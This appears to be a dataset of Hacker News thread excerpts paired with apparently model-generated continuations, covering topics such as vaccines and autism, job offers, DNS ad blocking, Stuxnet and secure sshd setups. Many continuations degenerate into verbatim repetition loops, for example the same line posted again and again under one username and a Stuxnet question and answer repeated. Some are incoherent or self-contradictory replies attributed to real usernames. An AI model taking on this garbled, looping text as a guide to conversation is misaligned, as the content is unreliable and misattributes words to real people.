complete rubbish. Take a look at my LinkedIn profile:\nlinkedin.com/in/jonathanconway.\n\nVirtually nothing but 3/7/12-month stints.\n\nI'm now making more money (and having more fun!) than ever before in my\ncareer!\n\nThe key is to keep your skills fresh and relevant to the job market, have an"} +{"output_text": "~~~\nmatt4077\nI'm not sure if you're being sarcastic, but I'm not sure I understand the\nquestion.\n\n5G is a new radio technology, and it's not clear what the effects of that\nmight be.\n\n~~~\nfenglida\nI'm not being sarcastic. I'm genuinely curious.\n\n~~~\nmatt4077\nI'm not sure if you're being sarcastic, but I'm not sure I", "input_text": "significant exposure.\n\n~~~\nmicrocolonel\n> _That seems like a terrible idea because people forget why useful\n> regulations were needed._\n\nTo me that seems to indicate that we need to keep a record of why laws are\nmade, so that the case is simply ready to be made when the sun is due to set.\n\n~~~\nthaumasiotes\n> To me that seems to indicate that we need to keep a record of why laws are\n> made\n\nWhether and why a practice is useful generally has little or nothing to do\nwith people's understanding of whether and why it is useful. The arguments\npeople advance for everything, including valuable things, are almost uniformly\nnonsense and easy to disprove.\n\nSo, a record of why laws are made wouldn't really serve any purpose.\n\n~~~\nstuaxo\nLaws should be measured against the reasons they were created.\n\n~~~\nthaumasiotes\nIf you start doing a good thing for a bad reason, you should stop?\n\n------\nspraak\nReminds me of the gleeful use of DDT as well. It's a common pattern.\n\n~~~\ncrdotson\nProbably a bad example. A lot more people died from malaria than would ever\nhave been harmed by DDT.\n\n~~~\nUser23\nMost people have no idea malaria was endemic in the USA as far north as New\nYork State. The advantage of the DDT saturation was that it wiped out the\ndisease reservoir completely, precisely because it persisted in the\nenvironment. Modern \"responsible\" DDT usage (treated nets, wall spraying, etc)\nis just breeding resistant mosquitoes.\n\n------\nfenglida\nHow long until will it be until we find out the effects of 5G radiation?\n\n"} +{"output_text": " get some feedback on\nthe idea.\n\n~~~\nsoneca\nI see. I think that's a good idea. I would love to see a demo of the app.\n\n------\njoshstrange\nI'm not sure if this is the right place to ask this but I'm curious. I've\nalways been a fan of the \"Show HN\" posts but I've never really understood the\n\"Show HN\" part. I've always thought it was just", "input_text": "\nThat, and Show HN her is great. Reddit has /r/startups which I also think is\nsupportive and helpful.\n\n~~~\naugustflanagan\nI completely agree with this. My co-founder had a post[0] on HN yesterday in\nwhich he mentioned that our MVP made him cringe.\n\nWhat he didn't mention is that that cringeworthy MVP was public for almost two\nmonths before we started showing it to people. It was out there with broken\nfeatures, placeholder text, etc.\n\nThat made shippin easy. It was done on day 1 and then we were very motivated\nto make it actually do something useful since it was already public.\n\n[0]\n[https://news.ycombinator.com/item?id=13347307](https://news.ycombinator.com/item?id=13347307)\n\n------\nsoneca\nNormal yes, not much beneficial. I dont have this problem at all (take a look\nat my long list of Show HN of all kinds, including several very poor half-\nbaked things that I'm not that proud of), so I dont think I can give any\nempathically useful advice. But I would love to know, what are you building?\n\n(Who knows, maybe it does indeed requires a longer gestation period).\n\n~~~\nfratlas\nML-based social platform where the algorithms learn a user's tastes. Limited\nto images, it's somewhere between Tumblr/VSCO/Pinterest/IG. It works for me,\nand my girlfriend loves using it, but the problem is she always wants to\nexport her chosen images back to another platform for posting. I sense it will\nbe a chicken and the egg problem. Was mostly so I could"} +{"output_text": "conduct a double blind placebo controlled trial. We can only do a single blind\ntrial, where the subjects are not told whether they are receiving a placebo or\na vaccine. This is the only way to be sure that the subjects are not\ninfluenced by the knowledge that they are receiving a vaccine.\n\nThe problem is that the placebo effect is very powerful. In a single blind\ntrial, the subjects are not told whether they are receiving a placebo or a\nvaccine. The", "input_text": "\nI think he means, from the anti-evidentiary viewpoint of the conspiracy nuts.\n\n------\nprbuckley\nI thought that the theory for linking vaccines to autism had to do with the\nuse of methylmercury as a preservative. Methylmercury is a known neurological\ntoxin, here is a great resource...\n\n[http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability...](http://www.fda.gov/BiologicsBloodVaccines/SafetyAvailability/VaccineSafety/ucm096228.htm)\n\nThe fact that this article brings up the fact that Wakefield had a patent in\nthe same area as his research seems fishy to me.\n\n\"The panel resurrected and upheld most, if not all, of the main charges\nagainst Wakefield, such as his undeclared conflict of interest in having filed\na patent relating to treatments for bowel conditions a year before his Lancet\nstudy appeared. \"The panel therefore rejects the proposition put forward by\nyour [Wakefield's] counsel that third-party perceived conflicts of interest\ndid not fall within the relevant definition at the time,\" it concludes.\"\n\nI used to be a research scientist and it was common place for researchers (or\ntheir institutions) to file patents on research that led to publications. No\none I know ever listed this sort of thing as a conflict of interest. It sounds\nlike this counsel might be reaching to try and discredit Dr. Wakefield.\n\nSadly their is more politics in science than most people want to believe.\n\n~~~\ntokenadult\n\n\n\"Regarding the question of vaccines and autism, for ethical reasons we cannot\n"} +{"output_text": " missing, but I\ndon't remember what.\n\nThe game is very well designed, and the UI is very well done. I'm not sure\nabout the scaling, but I think it's a bit too small. I think it's a bit too\nsmall for 1080p, but I'm not sure.\n\nI'm not sure if it's a bug or a feature, but I think it's a bit too easy to\nget stuck in a loop where you can't", "input_text": "02/dolphin-progress-\nrep...](https://dolphin-emu.org/blog/2017/10/02/dolphin-progress-report-\nseptember-2017/)\n\n------\nsatuim\nAn amazing project, My only criticism is the scaling, playing in 1080p makes\nthe UI really small, it does have scaling in the options but 1.5 uses\nantialiasing and kinda ruins the pixel graphics.\n\nOtherwise the best way to play this. I'm pretty sure you can also import\ncertain elements from RCT1 if you have it.\n\n------\nSintendo\nI continue to wonder whether this can be legal at all. It's pretty clear\nthey've been looking at the disassembled code, so it's not clean-room reverse-\nengineered.\n\n------\ncmpb\nAnyone interested in this may also be interested to know that there is a\npretty thriving subreddit for RollerCoaster Tycoon:\n[https://www.reddit.com/r/rct/](https://www.reddit.com/r/rct/)\n\n------\nPLenz\nAs a lover of the original I wish this project has the same success OpenTTD\nhas had.\n\n------\nsqueaky-clean\nI've never played this but have been aware of it for a while. Judging from the\nReadme it sounds fairly complete? Like I could play out a full scenario in\nthis without missing features or crashing?\n\n~~~\nlucb1e\nI also head of it for a while before I gave it a spin. I finally got around to\nit about 6 months ago.\n\nThe game works really well. I don't remember noticing that anything was still\nmissing in singleplayer. Multiplayer... there was something"} +{"output_text": " training, able to do\nsomething that I could not do before.\n\n~~~\njamesaguilar\nI'm not sure I understand your point. You're saying that you don't like\nmachines because they are uncomfortable?\n\n~~~\njohnyzee\nI don't like them because they are uncomfortable. I don't like them because\nthey are not the best way to train.\n\n~~~\njamesaguilar\nI don't understand. You're saying that", "input_text": " internet\njackass, but I just can't not respond to that.\n\nI'm an athlete first, and a technology worker second. And what you just said\n(\"better to... use a machine that isolates... while not straining unrelated\nmuscles\") is the fitness equivalent of something that would be a top post on\nThe Daily WTF.\n\nThat is almost exactly the wrong idea. I mean, so precisely opposite of\ncorrect information that I hope you didn't write that as a joke and I'm not\ngetting it.\n\nThe only time isolation movements make sense is if you're already a very\ncompetitive bodybuilder who walks around with hundreds of pounds of lean\nmuscle mass. Otherwise, isolation movements (especially when performed on\nmachines rather than with free weights) are a genuinely terrible idea. At\nabsolute _best_ they will make you gain muscle and lose weight vastly more\nslowly than you could. Most likely, they'll make you wind up with a chronic\ninjury.\n\nPlease, please, please don't go to the gym and work on machines. Do compound\nmovements instead. If you're interested in making physical improvements, go\npick up Starting Strength. It's $30 and the author is an absolute genius.\n\n[That was officially my first flame. I feel so hollow inside...]\n\n~~~\njohnyzee\nPush-ups give me a headache. I don't know if its the blood rushing to the head\nor the neck tension, but they are uncomfortable for me for reasons that have\nnothing to do with the actual excercise. Same thing for pull-ups, sit-ups or\nwhatchamacallit.\n\nMachines are comfortable while still maxing out my muscle capacity. They are\nthe sole reason that I am now, after many years of"} +{"output_text": " thimerosal\nlink, to conclude that the study \"does not support the hypothesis that\nthimerosal-containing vaccines are a risk factor for autism.\"\n\n\"The Institute of Medicine's 2004 report on the thimerosal-autism link\nconcluded that there was no good evidence to support a link between thimerosal\nand autism. The report was based on a review of the scientific literature\npublished between 1966 and 2002. The report was not a systematic review of\nall", "input_text": " (or are even merely a significant\ncontributing factor), we would expect that the removal of thimerosal from\nvaccines would lead to a rapid decrease in autism incidence and prevalence\nwithin 2-5 years.\n\n\"There have now been several studies that examined this very hypothesis in\ncountries that removed thimerosal from their vaccines before the U.S. did. For\nexample Hviid et al3 reported that autism prevalence in Denmark increased from\n1991 to 1996 despite the removal of thimerosal from vaccines, while Madsen et\nal4 looked at the time period from 1971 to 2000 and concluded that autism\ndiagnoses continued to increase after thimerosal was removed from vaccines.\nNeither study supported a causal link between TCVs and autism, and they were a\nprominent part of the dataset that was used by the Institute of Medicine to\nconclude in 2004 that there was no good evidence to support a link between\nTCVs and autism. A more recent study by Eric Fombonne5 in Montreal examined\n27,749 children born from 1987 to 1998 attending 55 different schools.\nCumulative thimerosal exposure by age 2 years was calculated for the 1987-1998\nbirth cohorts. This exposure ranged from 100-125 \u03bcg from 1987 to 1991, 200-225\n\u03bcg from 1992 to 1995, and then none after 1996, which was when thimerosal was\ncompletely removed from vaccines in Canada. The result was that autism, ASD,\nand pervasive developmental disorder diagnoses continued to increase in all\nperiods, demonstrating no relationship between TCVs and autism or ASDs. Even\nmore recently, a large study6 failed to support a relationship between\nthimerosal and adverse neurodevelopmental outcomes, a result that led one of\nthe investigators in the study, Sallie Bernard, a proponent of the"} +{"output_text": " the actual\ndownload.\n\nThis is a good solution because it is easy to implement, and it is easy to\nimplement in a way that is not a security risk.\n\n~~~\njoeyspn\nI'm not sure if it's a good solution, but it's a good idea.\n\nI'm not sure if it's a good idea, but it's a good idea.\n\nI'm not sure if it's a good idea, but it's", "input_text": " will be much faster there.\n\n~~~\npmtarantino\nThat's my opinion too. I worked in two different jobs in the last years. One\nof them was in company A, which I always wanted to be part of. The salary was\nnot amazing (in fact, after of some talk with friends, it was low), but I was\nhappy. Then, I worked in company B. The salary was superb, it was higher than\naverage, but I was not happy. That was not what I wanted. I quit.\n\n------\nlsiebert\nask for offer in writing, explain why, and that you'd prefer A, see if they\nare open to matching B's offer. If so, you might want to take their initial\noffer to B.\n\nGet B's offer in writing and go to A. Tell A if they match it, you'll work for\nthem.\n\nDo so, that is, if they match B's offer, work for A. Explain to B, but invite\nthem to contact you sometime in the future to see if you are happy at A. Use\nB's contact to either move to B if A isn't great or to negotiate from position\nfrom strength at A.\n\nBut work at A to start with.\n\n \nDownloading a file regularly - how hard can it be? - joeyespo\nhttps://adblockplus.org/blog/downloading-a-file-regularly-how-hard-can-it-be\n======\nsophacles\nA common solution to this problem, is to make a 2 stage process, where step 1\nis a request of \"should I download?\", where there are 2 possible replies: \"no,\ncheck again in N time\" and \"yes, here is a token\". Step 2 is"} +{"output_text": " AWS. You can use the same\nsecurity model for all your hosts. You can use the same sshd host for all your\nhosts. You can use the same sshd config for all your hosts. You can use the\nsame sshd keys for all your hosts. You can use the same sshd config for all\nyour hosts. You can use the same sshd keys for all your hosts. You can use\nthe same sshd config for all your hosts. You can use", "input_text": "\nrecent HN post from dadgum.com about C's most powerful operator being\n'switch'. This is well known. However, maybe there are 17 or 15 year olds who\nlurk HN. In order for them to learn, they should be exposed to that knowledge.\n\nSo, while we are trying to help one another, here is some advice. One _really\ngood_ way to run sshd securely is to use a different operating system other\nthan Linux. This isn't because Linux is bad, it is just that certain decisions\nwere made that will not change. People might extrapolate what I just said too\nfar. Let me illustrate this as a conversation for entertainment.\n\nworld says: 'drudru just said don't run linux anywhere'\n\ndrudru says: 'Nope. What I'm saying is if you need high security, yet open to\nthe world, sshd install, don't run it on Linux. Run it on an OS and config\ndesigned for security. You can still use Linux and other OSs for other\nthings.'\n\nworld says: 'Ok, if I do that, how do I ssh to my Linux hosts?'\n\ndrudru says: 'Since your sshd host is running not on Linux and it is secure,\nyou can use it to login to your other hosts. You should run it on a static IP\naddress. Then you will only allow ssh in to all your other hosts from that\nknown secure IP and host key. You can have multiple jump machine/static IPs,\nsay 2 on different networks for redundancy.'\n\nworld says: 'I've heard OpenBSD was secure. I don't want to learn OpenBSD,\nFreeBSD, etc.'\n\ndrudru says: 'You should just run on Heroku or"} +{"output_text": ", this is not a good idea.\n\n------\njedberg\nI'm surprised he didn't mention the fact that the camera is on the back of the\nlaptop.\n\n------\njedberg\nI'm surprised he didn't mention the fact that the camera is on the back of\nthe laptop.\n\n------\njedberg\nI'm surprised he didn't mention the fact that the camera is on the back of\nthe laptop.\n\n------\n", "input_text": "\n------\nconradev\nI use a MacBook Pro as my daily driver, but I recently purchased a Lenovo\nThinkPad to play around with. Sometimes I forget how awesome it is to have a\nrepairable and modular computer.\n\nI didn't want the webcam or microphone in the ThinkPad\u2026 so I took 30 minutes\nand removed it. Easy as that.\n\n~~~\ncsydas\nWell,to be fair you could just open the MacBook Pro and unplug the ribbon for\nthe webcam. iFixit will have instructions. Removing it entirely granted is\nanother matter, involving opening the screen, but you'd have to do the same on\nany modern laptop with an integrated camera wouldn't you?\n\n~~~\nwruza\nFor my mac I just used a knife to open screen and shoved black paper strip\nbefore camera.\n\n------\ngreglindahl\nI experimented a bit with an Apple laptop microphone, and it took 2 layers of\nelectrical tape to block the mic. There doesn't appear to be any way to block\nan iPhone mic without blocking the speaker, too, and I'm not confident that it\ncould be blocked at all.\n\n------\nmpetrovich\nBut what about his computer's built-in mic? Unless he's pantomiming all\nsensitive info...\n\n------\nneom\nIt's pretty sad that he used the word \"authority\" in this sentence: You do\nthat so that people who don\u2019t have authority don\u2019t look at you. I think that\u2019s\na good thing.\u201d\n\n------\nthrowaway13337\nIt's relatively common to have access to private security cameras. Some are\neven google indexed.\n\nThe software included relies on the users protect the web interface.\nObviously"} +{"output_text": " people are trying to solve\nthis problem.\n\n------\njlgaddis\nI'm not sure why this is being downvoted. It's a very good article.\n\n~~~\ndang\nIt's not a good article. It's a very bad article.\n\n~~~\njlgaddis\nI'm not sure what you mean by \"bad article\".\n\n~~~\ndang\nIt's a bad article because it's a bad article.\n\n", "input_text": " sure, if you're talking about outbound VoIP traffic from the\ncustomer's computer, they could do that. But what about inbound traffic, which\nfor nearly all customers is the bulk of their traffic? There can be no way to\nput controls on who sets the QoS flag, which means everybody needs to set it\nor they risk having their own service degraded because someone else decided to\ninappropriately set their own QoS flag.\n\nBasically, it's tragedy of the commons. All incoming traffic is going to end\nup with the QoS flag set, and thus the internet will basically behave as if it\ndidn't exist.\n\n~~~\nbelorn\nPut a stateful table in there, and there is no problem identify most inbound\ntraffic as high priority if the receiver first initiate the communication with\nhigh priority set. There is a bit of issues with mutli-path routing, but its a\nrare issue that could likely be ignored as non-QoS worthy packages.\n\nOf course, that only work inside one ISP and its customers, or between ISP\nwhich agree to respect each other limited use of QoS, both this approach would\nnot fall for the tragedy of the commons. So long the end-user who initiate the\ntraffic ends up deciding what priority is needed, limited use of QoS could\nhelp solve problem of voip vs bittorent.\n\n~~~\nvy8vWJlco\nRouters (and bittorrent clients, and operating systems) allow households to\nprioritize their traffic already. (IMHO, any \"solution\" to bittorrent vs voip\nshould live at the edge where it only affects the person who chose it.)\n\n~~~\n18pfsmt\nRead the Republic Wireless forums to see how many"} +{"output_text": "\nI've been using this for a while and it's been very helpful. I've found that\nit's a good idea to run it on a site that's not under active development,\nbecause it can catch a lot of things that you might not notice otherwise.\n\n------\njasonkester\nI've been using this for a while, and it's been very helpful. I've found that\nit's a good idea to run it on a site that's not under", "input_text": " xamuel. For us non-geeks, this is pretty mind-boggling\nstuff.\n\n------\najross\n> When I first turned this on, I set the directive in the configuration file\n> to \u201cConneption: Keep Alive.\u201d Apache began laughing hysterically at my typing\n> skills, and promptly crashed\n\nSo a syntax error is now a \"crash?\". Web developers...\n\n~~~\nceejayoz\nToday I learned people reboot apache without doing `apachectl -t` first.\n\n~~~\nbatista\napachectl -t?\n\nWhy go ghetto? You should be doing something like \"/sbin/service httpd\nrestart\".\n\n~~~\nceejayoz\n`apachectl -t` checks the.conf files for syntax errors.\n\nFor this reason, there's zero excuse for ever having an Apache install crash\nfrom a typo.\n\n~~~\nscdc\nWe have Apache running on some Windows boxes-- haven't found a way to run\napachectl on Windows...\n\n~~~\nceejayoz\n`apache.exe -t` according to\n\n\n------\nchris_wot\nAren't these just standard website speedup techniques? If you ran YSlow on the\nsite, then it's probably going to give you the same advise, but in more\ndetail. And it won't miss obvious suggestions like combine the scripts/css\ninto one file!\n\n~~~\nleeoniya\npretty sure pagespeed tells you to minimize http requests. that's one of the\ntop things. one of the points from what i remember was to combine js and css\nfiles.\n\n------\ndmethvin"} +{"output_text": " to be afraid of the \"noncompetitive\" colleges.\n\n~~~\njbooth\nI think the point is that the noncompetitive colleges are the ones that are\ngrowing the fastest.\n\n~~~\nrdl\nI think the point is that the noncompetitive colleges are the ones that are\ngrowing the fastest, and that the competitive colleges are the ones that are\ngrowing the slowest.\n\nI think the point is that the noncompetitive colleges are the", "input_text": "perseusprime11\nIs Agile & Scrum still relevant? I am seeing more and more consultants who\nused to selling this stuff have moved upmarket into Lean and Digital\nTransformation of companies.\n\n------\nromanovcode\nCan we deprecate scrum in 2018?\n\n~~~\ndang\nPlease don't post unsubstantive comments here. I'm sure few people here have\nany fondness for software processes, especially in the corporate decadence\nstage, but that's no reason to make HN worse.\n\n------\nbrightball\nThis is perfect.\n\n------\nsaas_co_de\n[http://programming-motherfucker.com/](http://programming-motherfucker.com/)\n\n~~~\nmake3\ndo people really pair program in real life? I've never actually seen it\n\n~~~\ndudul\nYes.\n\n~~~\nmake3\nat which company did you see it, and was it everyone\n\n------\nwoliveirajr\nTag [2011] is missing...\n\n~~~\nsctb\nThanks! Updated.\n\n \nThe Reproduction of Privilege - pg\nhttp://campaignstops.blogs.nytimes.com/2012/03/12/the-reproduction-of-privilege/?src=recg\n======\nrdl\nThere are a lot of points in this (some of which seem bogus), but just to\nfocus on one:\n\n\"Higher education itself has polarized\" -- relative growth in competitive,\nvery competitive, and most highly competitive colleges AND in community\ncolleges, but not in the less and noncompetitive 4-year colleges.\n\nThis seems like something to be celebrated and encouraged, not reviled. I\nreally don't see any reason"} +{"output_text": " nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n* Q: Was Stuxnet written by a nation state?\n\n* A: No.\n\n", "input_text": "\n\n------\ntwymer\n\"Siemens announced last year that Simatic can now also control alarm systems,\naccess controls and doors. In theory, this could be used to gain access to top\nsecret locations. Think Tom Cruise and Mission Impossible.\"\n\nI've been reading pretty much everything I can find about Stuxnet so far, but\nhaven't heard this before. If it's true Stuxnet might really be living up to\nthe hype that it's the \"first malware of it's kind.\"\n\n------\n16s\nI've read that there are three stolen Microsoft Authenticode certificates\nbeing used by stuxnet authors to sign the malware. I've used these sort of\ncerts myself to sign executables. They require passphrases to use. I could\nbelieve that they cracked one passphrase to use one cert, but three? All from\ndifferent companies too.\n\n~~~\nmfukar\nIt's much more likely that the certificate used were stolen (from Realtek\nSemiconductor Corp.), than cracked.\n\n~~~\n16s\nYes, but the point is that in order to use a stolen cert, you need the\npasscode _and_ the cert. They somehow got three certs and three passcodes from\nthree different companies.\n\n~~~\nmfukar\nThat's right. However, I think that if I were in a position to steal a\ncertificate, it'd be trivial to also get the pass[code|phrase|whatever],\nassuming there even was one to begin with. ;-)\n\n~~~\nralphc\nRealtek and JMricron were in the same building, maybe the third company is as\nwell?\n\n------\nGarbage\nOne interesting question is: * Q: Was Stuxnet written by a"} +{"output_text": "\nI remember the first time I saw a program that used a subroutine. I was\namazed. I had never seen anything like it. I had never seen anything like\nanything.\n\nI remember the first time I saw a program that used a subroutine to do\nsomething. I was amazed. I had never seen anything like it. I had never seen\nanything like anything.\n\nI remember the first time I saw a program that used a subroutine", "input_text": "-1. My first\ncomputer \u2014 the best thing I could afford \u2014 was a Quest Super Elf [\n ] with 256 bytes of RAM, and\na processor on which a recursive subroutine call took 16 instructions.\n\nOn the other hand, by 1985 I was doing QA for a 64-bit Unix environment.\n\n~~~\njekub\nYou're joking, this was a wonderful machine. Especially the CDP1802 processor\nwith its ability to use any register as a PC. I've very nice memory with this\nchip.\n\n~~~\nkps\nIn some ways it was nice. For those unfamiliar:\n\nThe 1802 had sixteen general purpose 16-bit registers. Any one of these could\nbe selected as the program counter. In a tiny embedded system (which is what\nthe part was meant for), you might choose to designate one as the \u2018normal\u2019 PC\nand reserve a few others for important subroutines, which could then be\ninvoked with a one-byte \u2018SEP _n_ \u2019 instruction. Similarly you could implement\ncoroutines or simple task switching by switching the selected PC between a\npair of registers.\n\nOn the other hand, there was no conventional call instruction. The SCRT\n(\u201cStandard Call and Return Technique\u201d) for recursive or reentrant subroutines\nessentially involved defining (non-reentrant) coroutines to perform the\n\u2018recursive call\u2019 and \u2018recursive return\u2019 operations.\n\n------\nDanielBMarkham\nI remember playing around with machine instructions on the 6502. I wouldn't\ncall it hand assembly; it was more like copying and groping around. I probably\nwrote less than 200 lines in my life.\n"} +{"output_text": " internet for a few days.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is any better\nthan the ad-blockers that are already available.\n\nI'm not sure if I'm missing something, but I don't see how this is any better\nthan the ad-blockers that are already available.\n\n~~~\npgl\nIt's not. It's just a different approach.\n\n", "input_text": "ator\nAlso, running your own DNS server means you can do this for _every_ device,\neven those for which you can't easily access the HOSTS file or perhaps don't\neven have such a facility (locked-down mobile devices, embedded systems, etc)\nand not have to worry about keeping multiple copies of HOSTS files in sync and\nupdated.\n\nAlthough I don't have such devices in my network, I've heard that others do\nthis to their \"smart\" TV/media box/creepy home surveillance gadgets.\n\n~~~\npgl\nYes, absolutely! It's way easier to configure your wifi router (or cable\nmodem, or whatever acts as the DHCP server on your network) to use a local DNS\nserver that blocks ads. Then ad blocking just _works_, whatever you connect\nto your network.\n\n~~~\nchrismbarr\nis the best way to do this to run something like DD-WRT? Or is there a way to\naccomplish this with stock router firmware? I ask because I recently tried to\ninstall DD-WRT but ran into issue and had to revert to my stock firmware.\n\n~~~\nlaumars\nPersonally I run dnsmasq on my file server (separate FreeBSD jail), but before\nthen I was running it on my Asus router with pretty much the stock firmware.\nSo I don't think there is a \"best\" approach specifically - just whatever works\nfor you.\n\nWhat's your router model?\n\n~~~\nchrismbarr\nVery late in seeing this comment! It's a Netgear WNDR3700v4. DD-WRT __is\n__supported on it, and i did successfully get it installed, but I had no\nconnection to the"} +{"output_text": "able.\n\n~~~\npfooti\nI'm not sure I follow.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\nIf you're using a library, you're not copying the code into your build tree.\nYou're just using it.\n\n", "input_text": " it helps in what concerns designing\nsoftware in the large.\n\nMost other backgrounds aren't exposed to such issues.\n\n------\npfooti\nOne of the weird problems here is performance, though. A naive approach to\nleft-pad, might involve (new Array(n+1)).join(padChar), for example, since\njavascript doesn't actually have a consistent language-native way to create an\narbitrary-length string. That technique ends up, in some javascript runtimes,\ntaking orders of magnitude longer to run compared to a for loop with string\nconcatenation. The array.join method is one line though.\n\nSo, imagine the scenario where you've got a commonly-used function that gets\nvendored and from there copypasta'd into a lib/common or some other location\nin your project. You've basically just cut yourself off from any updates that\nthe module author might make when new javascript optimization hacks come\naround (or obscure corner-case bugs need protecting against). It's a small\nproblem, but it is at least worth considering.\n\nThere's also this whole thing with licenses - there's a fundamental difference\nbetween using a library and copying its source into your build tree. The MIT\nlicense doesn't care, but the LGPL certainly does.\n\nI do like the idea in general. You should extend it by doing tree-shaking or\ndead-code analysis. \"This library is big, but you're just using one function\ncall, let's just copypasta that one in here\".\n\n~~~\nesailija\nThe code needs to pass threshold of originality to be copyrightable, otherwise\nyou don't need to care about the license. For example `(new\nArray(n+1)).join(padChar)` is definitely not copyright"} +{"output_text": " but you also come across as a\nnegotiator who is not interested in the company.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n------\njoshu\nI would say that you should ask for a counteroffer.\n\n", "input_text": "bid A. Now you are\nwondering if you can leverage a questionable offer from B to up A's offer.\n\nIf you escalate this further into a full out bidding war, the probability is\nhigh that it won't turn out well. If B wins, you work for a sketchy company\njust for the money... or they don't come through with a _real_ offer, A drops\nout (note that you do not have a _formal_ offer from A yet), and you are\nscrewed. If A wins, the person you work for knows what you did to them and\nresents it.\n\nSorry to be harsh, but from the outside looking in, B sounds pretty sketchy\nand your line of questioning doesn't reflect well on you.\n\n------\nantidoh\n\"I recently graduated\"\n\n\"aced the interviews\"\n\n\"I got an offer from A\"\n\n\" I actually prefer A\"\n\n\"B can become better in my mind if their offer triumphs on the financial\nside.\"\n\nI believe that last is the only untrue thing you've said.\n\nYou're young, capable and have a lot of years in front of you. Work where you\nwant and enjoy it.\n\n------\nhelen842000\nI think B only want to see the letter in writing so that they can go slightly\nabove what A has offered.It makes no sense to go largely over.\n\nWhy not ask B to make a blind offer based on the value you can bring and what\nyou're worth, tell them you're not interested in them upping A's offer, just\nformulating their own based on value not competition. You want to hear what\nthey would have offered without company A in the picture.\n\nNot only do you come across less money"} +{"output_text": "\nbe salary. Sixth column would be number of years of experience.\n\nAnd then you can just look at the numbers and see what is the best course for\nyou.\n\n~~~\njamesjyu\nI think this is a great idea. I'm not sure how to implement it, but I think\nit's a great idea.\n\n------\njamesjyu\nI'm not sure how to implement it, but I think it's a great idea. I", "input_text": ".... take advantage of opportunities!\n\nDo you have an idea? Have you validated this idea in some form? Do you have\naccess to funds? Do you have the skills necessary to execute the idea? If not,\ndo you have access to people who can make up for your shortcomings? In other\nwords, do you actually have an alternative opportunity to college.\n\nLife is long for most of us, be optimistic and bet on it being long for you\ntoo. Don't be in a rush. While the college degree itself does not hold the\nvalue that it once did, the experience of college for those who truly take\nadvantage of it will find it to be an amazing period of self growth. College\nhas true value for some, even if society does not know how validate its value\non an individual basis.\n\nI went to college, I dropped out senior year, 8 years later I am working on my\nstartup full time. My conditional blanket advice would be this, if you don't\nhave a clear opportunity then go to school. It is that simple. If you spend\nhalf the time your friends' spend partying on your idea, you will have more\nthan enough time to vet your dream as a true opportunity. After which you can\njustifiably quit college and start your company. Just because you start your\nundergrad does not mean you have to finish it.\n\nLike I mentioned, I don't have my degree because I personally don't value a\ndegree. But I highly value my college experience.\n\n------\nxentronium\nIsn't it sad, that there is still no giant database filled with numbers to\nsolve all arguments?\n\nOne column would be university. Another column would be course. Third column\nwould be price. Fourth column would be field of working. Fifth column would"} +{"output_text": " people to not own a piece of Real Estate under their\nname.\n\n~~~\njedberg\n> Incendiary titles, written by ignorant writers, looking to impress\n> politicians, and rattling the cage in order to gain eyeballs.\n\nI don't think that's true. I think the title is accurate.\n\n> There are many reasons NOT to own a piece of Real Estate under an individual\n> name\n\nThat's not what the article is saying", "input_text": " are we trying to fix here? So much faux outrage\n\n------\ngeneralpass\nIt's another bogeyman red herring. The issue is very straightforward: central\nplanning fails.\n\nNearly all critical infrastructure in the form of homes (zoning), roads,\nwater, and electricity and related services are centrally planned.\n\nIt is almost impossible to do anything outside of a municipality, which didn't\nused to be the case.\n\nWithout this central planning failure it would be impossible to \"take\nadvantage\" of any market, as home builders would just build homes until the\n\"launderers\" run out of cash.\n\n~~~\nempath75\nHave you ever been to a developing country? They work they way you suggest.\nPeople just run electricity and water wherever they can and throw up houses\nanywhere.\n\nTurns out it\u2019s not actually an improvement though.\n\n~~~\naianus\nNonsense, I've lived in several and it was great.\n\n$500/mo rent and much better quality of life than a similar $4000/mo place in\nSF.\n\n~~~\nempath75\nYeah living in the developing world is great when you\u2019re there telecommuting\nand have an american or uk passport and can just leave whenever you feel like\nit.\n\n------\nwillart4food\nIncendiary titles, written by ignorant writers, looking to impress\npoliticians, and rattling the cage in order to gain eyeballs.\n\nThere are many reasons NOT to own a piece of Real Estate under an individual\nname, under a trust (for estate purpose) comes to mind and it's now very cheap\nto do and the public in general is more educated on it; so that alone accouts\nfor a large chunch of"} +{"output_text": ", which is a\ndifferent thing.\n\n~~~\nvsupalov\nI think you are right. I was trying to be concise, but I think I failed.\n\n------\njoshuamorton\nI'm not sure I agree with the premise that \"continuous delivery\" is a\n\"misnomer\". I think it's a perfectly reasonable term to use.\n\nI think the problem is that the term \"continuous delivery\" is used to describe\na process", "input_text": " been burned a couple of times where changes from a developer's machine\nended up in production\n\n~~~\nrhizome\nHow does that happen? The only way I can think of is when using a \"copy local\"\ntype deployment rather than a repository checkout, which is a pretty basic bug\nin this kind of process that should be eliminated by the time \"automation\" is\na priority.\n\n------\nvsupalov\nGreat article! A tiny nitpick: the distinction between continuous delivery and\ncontinuous deployment, is that in the first case you _could_ deploy anytime\nyour want, but the triggering is still up to a human. With continuous\ndeployment, everything is shipped to prod automatically, given that all\nconditions are met.\n\nIf you want to learn more quickly - I did a talk on the topic last week, and\ndid my best to provide a concise overview of the most essential terms. Check\nout the slides for a high-level view on ci/cd [1] and deployment pipelines in\ngeneral [2] if you want to learn more.\n\n[1] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/12)\n\n[2] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/17)\n\n~~~\nrhizome\nYour \"continuous delivery\" definition sounds like CI to me"} +{"output_text": "I'm not sure what the author is trying to say here.\n\n~~~\njrockway\nI think he's saying that Google is not as open as Apple is.\n\n~~~\njoeminkie\nI think he's saying that Google is not as open as Apple is.\n\n------\njrockway\n_Google is not as open as Apple is._\n\nI don't think that's true. Google is more open than Apple is. Apple is more\n", "input_text": " believe in choice, if you believe\nin innovation from everyone\u2020, then 